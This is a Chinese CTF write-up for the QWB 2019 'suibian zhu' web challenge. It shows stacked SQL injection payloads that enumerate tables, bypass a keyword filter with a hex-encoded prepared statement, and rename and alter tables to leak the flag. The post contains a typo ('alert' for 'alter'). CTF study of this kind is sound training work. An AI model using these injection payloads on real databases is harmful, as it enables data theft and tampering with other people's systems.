美文网首页
强网杯2019-WEB-随便注

强网杯2019-WEB-随便注

作者: le3f | 来源:发表于2020-04-05 11:04 被阅读0次

    漏洞复现地址
    https://buuoj.cn/challenges#[强网杯%202019]随便注]

    • 考察SQL注入的堆叠注入

    输入1 或 2查询 显示查询结果


    image.png

    输入 1’ or 1# 显示出所有结果,存在注入


    image.png

    输入order by 1,2 显示正常,输入三报错,表中有两列


    image.png image.png

    使用1' union select 1,2#,发现select、update、where、. 都被禁用。


    image.png

    输入 -1' show databases;# 查询数据库

    image.png
    输入 -1' ;show tables;# 查询数据表,存在words和 1919810931114514两个表
    image.png
    -1';show columns from words;# 显示出words表中的字段
    image.png
    -1';show columns from 1919810931114514;# 显示出1919810931114514表中的字段,中存在flag字段。
    image.png
    • 利用存储函数,得出flag
      -1';SeT@a=select * from flag;prepare execsql from @a;execute execsql;#转化为16禁制
      -1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#


    • 重命名和修改表面,得出flag (利用此方法复现报错)
      因为这里有两张表,会县内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢

    内部查询语句类似 : select id, data from word where id =

    (这里从上面的对word列的查询可以看到它是有两列,id和data)

    然后1919810931114514只有一个flag字段

    这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字

    这时候我们就可以已下面的骚姿势进行注入:

    1.将words表改名为word1或其它任意名字

    2.1919810931114514改名为words

    3.将新的word表插入一列,列名为id

    4.将flag列改名为data

    构造payload

    1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

    接着我们再用1’ or 1=1 #,查询就得到flag

    相关文章

      网友评论

          本文标题:强网杯2019-WEB-随便注

          本文链接:https://www.haomeiwen.com/subject/iggyphtx.html